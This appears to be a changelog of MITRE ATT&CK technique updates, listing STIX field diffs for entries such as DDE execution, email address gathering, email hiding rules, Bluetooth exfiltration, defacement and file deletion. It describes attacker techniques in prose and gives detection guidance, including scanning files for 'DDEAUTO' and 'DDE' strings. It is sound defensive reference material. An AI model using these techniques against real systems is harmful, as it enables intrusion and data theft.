| | | https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citat |
| | | ion: Fireeye Hunting COM June 2019) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-07-26 22:52:04.196000+00:00 | 2022-02-22 13:22:30.191000+00:00 |
| description | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)
Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)
Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )
DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) |
| external_references[8]['source_name'] | Fireeye Hunting COM June 2019 | OWASP CSV Injection |
| external_references[8]['description'] | Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019. | Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022. |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html | https://owasp.org/www-community/attacks/CSV_Injection |
| external_references[9]['source_name'] | NVisio Labs DDE Detection Oct 2017 | CSV Excel Macro Injection |
| external_references[9]['description'] | NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017. | Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022. |
| external_references[9]['url'] | https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ | https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/ |
| x_mitre_data_sources[1] | Process: Process Creation | Script: Script Execution |
| x_mitre_data_sources[2] | Script: Script Execution | Process: Process Creation |
| x_mitre_detection | Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).
OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017) | Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).
OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection ) |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'} |
| external_references | | {'source_name': 'NVisio Labs DDE Detection Oct 2017', 'description': 'NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.', 'url': 'https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/'} |
[T1589.002] Gather Victim Identity Information: Email Addresses
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may gather email addresses that can be used duri | t | Adversaries may gather email addresses that can be used duri |
| ng targeting. Even if internal instances exist, organization | | ng targeting. Even if internal instances exist, organization |
| s may have public-facing email infrastructure and addresses | | s may have public-facing email infrastructure and addresses |
| for employees. Adversaries may easily gather email addresse | | for employees. Adversaries may easily gather email addresse |
| s, since they may be readily available and exposed via onlin | | s, since they may be readily available and exposed via onlin |
| e or other accessible data sets (ex: [Social Media](https:// | | e or other accessible data sets (ex: [Social Media](https:// |
| attack.mitre.org/techniques/T1593/001) or [Search Victim-Own | | attack.mitre.org/techniques/T1593/001) or [Search Victim-Own |
| ed Websites](https://attack.mitre.org/techniques/T1594)).(Ci | | ed Websites](https://attack.mitre.org/techniques/T1594)).(Ci |
| tation: HackersArise Email)(Citation: CNET Leaks) Gathering | | tation: HackersArise Email)(Citation: CNET Leaks) Email addr |
| this information may reveal opportunities for other forms of | | esses could also be enumerated via more active means (i.e. [ |
| reconnaissance (ex: [Search Open Websites/Domains](https:// | | Active Scanning](https://attack.mitre.org/techniques/T1595)) |
| attack.mitre.org/techniques/T1593) or [Phishing for Informat | | , such as probing and analyzing responses from authenticatio |
| ion](https://attack.mitre.org/techniques/T1598)), establishi | | n services that may reveal valid usernames in a system.(Cita |
| ng operational resources (ex: [Email Accounts](https://attac | | tion: GrimBlog UsernameEnum) Gathering this information may |
| k.mitre.org/techniques/T1586/002)), and/or initial access (e | | reveal opportunities for other forms of reconnaissance (ex: |
| x: [Phishing](https://attack.mitre.org/techniques/T1566)). | | [Search Open Websites/Domains](https://attack.mitre.org/tec |
| | | hniques/T1593) or [Phishing for Information](https://attack. |
| | | mitre.org/techniques/T1598)), establishing operational resou |
| | | rces (ex: [Email Accounts](https://attack.mitre.org/techniqu |
| | | es/T1586/002)), and/or initial access (ex: [Phishing](https: |
| | | //attack.mitre.org/techniques/T1566) or [Brute Force](https: |
| | | //attack.mitre.org/techniques/T1110) via [External Remote Se |
| | | rvices](https://attack.mitre.org/techniques/T1133)). |
New Detections:
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)'] |
| x_mitre_data_sources | | ['Network Traffic: Network Traffic Content'] |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:27:19.702000+00:00 | 2021-12-09 21:49:30.319000+00:00 |
| description | Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.
Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.
Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum)
Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'GrimBlog UsernameEnum', 'description': 'GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.', 'url': 'https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/'} |
[T1564.008] Hide Artifacts: Email Hiding Rules
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 01:24:31.674000+00:00 | 2022-04-12 15:22:29.599000+00:00 |
| external_references[1]['source_name'] | Microsoft Inbox Rules | MacOS Email Rules |
| external_references[1]['description'] | Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021. | Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021. |
| external_references[1]['url'] | https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59 | https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac |
| external_references[2]['source_name'] | MacOS Email Rules | Microsoft BEC Campaign |
| external_references[2]['description'] | Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021. | Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021. |
| external_references[2]['url'] | https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac | https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/ |
| external_references[3]['source_name'] | Microsoft New-InboxRule | Microsoft Inbox Rules |
| external_references[3]['description'] | Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021. | Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021. |
| external_references[3]['url'] | https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps | https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59 |
| external_references[4]['source_name'] | Microsoft Set-InboxRule | Microsoft New-InboxRule |
| external_references[4]['description'] | Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021. | Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps | https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps |
| external_references[5]['source_name'] | Microsoft Cloud App Security | Microsoft Set-InboxRule |
| external_references[5]['description'] | Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021. | Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021. |
| external_references[5]['url'] | https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154 | https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps |
| external_references[6]['source_name'] | Microsoft BEC Campaign | Microsoft Cloud App Security |
| external_references[6]['description'] | Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021. | Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021. |
| external_references[6]['url'] | https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/ | https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154 |
| x_mitre_data_sources[0] | File: File Modification | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Google Workspace |
[T1611] Escape to Host
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
- DS0034: Volume (Volume Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 14:59:35.913000+00:00 | 2022-04-01 13:06:06.128000+00:00 |
| x_mitre_data_sources[0] | Container: Container Creation | Volume: Volume Modification |
| x_mitre_data_sources[1] | Process: OS API Execution | Container: Container Creation |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Process: OS API Execution |
[T1011.001] Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may attempt to exfiltrate data over Bluetooth ra | t | Adversaries may attempt to exfiltrate data over Bluetooth ra |
| ther than the command and control channel. If the command an | | ther than the command and control channel. If the command an |
| d control network is a wired Internet connection, an attacke | | d control network is a wired Internet connection, an adversa |
| r may opt to exfiltrate data using a Bluetooth communication | | ry may opt to exfiltrate data using a Bluetooth communicatio |
| channel. Adversaries may choose to do this if they have su | | n channel. Adversaries may choose to do this if they have s |
| fficient access and proximity. Bluetooth connections might n | | ufficient access and proximity. Bluetooth connections might |
| ot be secured or defended as well as the primary Internet-co | | not be secured or defended as well as the primary Internet-c |
| nnected channel because it is not routed through the same en | | onnected channel because it is not routed through the same e |
| terprise network. | | nterprise network. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-28 00:34:55.439000+00:00 | 2022-03-08 21:02:15.802000+00:00 |
| description | Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.
Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. | Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.
Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. |
| x_mitre_data_sources[0] | Network Traffic: Network Connection Creation | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Flow | File: File Access |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Content | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | File: File Access | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.0 | 1.1 |
[T1491.002] Defacement: External Defacement
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | An adversary may deface systems external to an organization | t | An adversary may deface systems external to an organization |
| in an attempt to deliver messaging, intimidate, or otherwise | | in an attempt to deliver messaging, intimidate, or otherwise |
| mislead an organization or users. Externally-facing website | | mislead an organization or users. [External Defacement](htt |
| s are a common victim of defacement; often targeted by adver | | ps://attack.mitre.org/techniques/T1491/002) may ultimately c |
| sary and hacktivist groups in order to push a political mess | | ause users to distrust the systems and to question/discredit |
| age or spread propaganda.(Citation: FireEye Cyber Threats to | | the system’s integrity. Externally-facing websites are a co |
| Media Industries)(Citation: Kevin Mandia Statement to US Se | | mmon victim of defacement; often targeted by adversary and h |
| nate Committee on Intelligence)(Citation: Anonymous Hackers | | acktivist groups in order to push a political message or spr |
| Deface Russian Govt Site) [External Defacement](https://atta | | ead propaganda.(Citation: FireEye Cyber Threats to Media Ind |
| ck.mitre.org/techniques/T1491/002) may be used as a catalyst | | ustries)(Citation: Kevin Mandia Statement to US Senate Commi |
| to trigger events, or as a response to actions taken by an | | ttee on Intelligence)(Citation: Anonymous Hackers Deface Rus |
| organization or government. Similarly, website defacement ma | | sian Govt Site) [External Defacement](https://attack.mitre.o |
| y also be used as setup, or a precursor, for future attacks | | rg/techniques/T1491/002) may be used as a catalyst to trigge |
| such as [Drive-by Compromise](https://attack.mitre.org/techn | | r events, or as a response to actions taken by an organizati |
| iques/T1189).(Citation: Trend Micro Deep Dive Into Defacemen | | on or government. Similarly, website defacement may also be |
| t) | | used as setup, or a precursor, for future attacks such as [D |
| | | rive-by Compromise](https://attack.mitre.org/techniques/T118 |
| | | 9).(Citation: Trend Micro Deep Dive Into Defacement) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:01.745000+00:00 | 2022-03-25 19:34:37.539000+00:00 |
| description | An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement) | An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement) |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Application Log: Application Log Content |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Application Log: Application Log Content | |
[T1070.004] Indicator Removal on Host: File Deletion
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may delete files left behind by the actions of t | t | Adversaries may delete files left behind by the actions of t |
| heir intrusion activity. Malware, tools, or other non-native | | heir intrusion activity. Malware, tools, or other non-native |
| files dropped or created on a system by an adversary may le | | files dropped or created on a system by an adversary (ex: [ |
| ave traces to indicate to what was done within a network and | | Ingress Tool Transfer](https://attack.mitre.org/techniques/T |
| how. Removal of these files can occur during an intrusion, | | 1105)) may leave traces to indicate to what was done within |
| or as part of a post-intrusion process to minimize the adver | | a network and how. Removal of these files can occur during a |
| sary's footprint. There are tools available from the host o | | n intrusion, or as part of a post-intrusion process to minim |
| perating system to perform cleanup, but adversaries may use | | ize the adversary's footprint. There are tools available fr |
| other tools as well. Examples include native [cmd](https://a | | om the host operating system to perform cleanup, but adversa |
| ttack.mitre.org/software/S0106) functions such as DEL, secur | | ries may use other tools as well.(Citation: Microsoft SDelet |
| e deletion tools such as Windows Sysinternals SDelete, or ot | | e July 2016) Examples of built-in [Command and Scripting Int |
| her third-party file deletion tools. (Citation: Trend Micro | | erpreter](https://attack.mitre.org/techniques/T1059) functio |
| APT Attack Tools) | | ns include <code>del</code> on Windows and <code>rm</code> o |
| | | r <code>unlink</code> on Linux and macOS. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-29 21:34:16.209000+00:00 | 2022-04-16 18:25:43.231000+00:00 |
| description | Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) | Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS. |
| external_references[1]['source_name'] | Trend Micro APT Attack Tools | Microsoft SDelete July 2016 |
| external_references[1]['description'] | Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015. | Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018. |
| external_references[1]['url'] | http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ | https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete |
| x_mitre_data_sources[0] | File: File Deletion | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | File: File Deletion |
| x_mitre_version | 1.0 | 1.1 |
[T1083] File and Directory Discovery
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may enumerate files and directories or may searc | t | Adversaries may enumerate files and directories or may searc |
| h in specific locations of a host or network share for certa | | h in specific locations of a host or network share for certa |
| in information within a file system. Adversaries may use the | | in information within a file system. Adversaries may use the |
| information from [File and Directory Discovery](https://att | | information from [File and Directory Discovery](https://att |
| ack.mitre.org/techniques/T1083) during automated discovery t | | ack.mitre.org/techniques/T1083) during automated discovery t |
| o shape follow-on behaviors, including whether or not the ad | | o shape follow-on behaviors, including whether or not the ad |
| versary fully infects the target and/or attempts specific ac | | versary fully infects the target and/or attempts specific ac |
| tions. Many command shell utilities can be used to obtain t | | tions. Many command shell utilities can be used to obtain t |
| his information. Examples include <code>dir</code>, <code>tr | | his information. Examples include <code>dir</code>, <code>tr |
| ee</code>, <code>ls</code>, <code>find</code>, and <code>loc | | ee</code>, <code>ls</code>, <code>find</code>, and <code>loc |
| ate</code>.(Citation: Windows Commands JPCERT) Custom tools | | ate</code>.(Citation: Windows Commands JPCERT) Custom tools |
| may also be used to gather file and directory information an | | may also be used to gather file and directory information an |
| d interact with the [Native API](https://attack.mitre.org/te | | d interact with the [Native API](https://attack.mitre.org/te |
| chniques/T1106). | | chniques/T1106). Adversaries may also leverage a [Network De |
| | | vice CLI](https://attack.mitre.org/techniques/T1059/008) on |
| | | network devices to gather file and directory information.(Ci |
| | | tation: US-CERT-TA18-106A) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Austin Clark, @c2defense'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. |
| external_references | | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| external_references | | CAPEC-127 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM'] | |
| external_references | CAPEC-127 | |
| external_references | CAPEC-497 | |
| external_references | Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-23 20:44:32.048000+00:00 | 2022-04-20 18:12:12.362000+00:00 |
| description | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information.(Citation: US-CERT-TA18-106A) |
| external_references[1]['source_name'] | capec | Windows Commands JPCERT |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/127.html | https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html |
| external_references[2]['source_name'] | capec | US-CERT-TA18-106A |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/497.html | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| external_references[3]['source_name'] | Windows Commands JPCERT | capec |
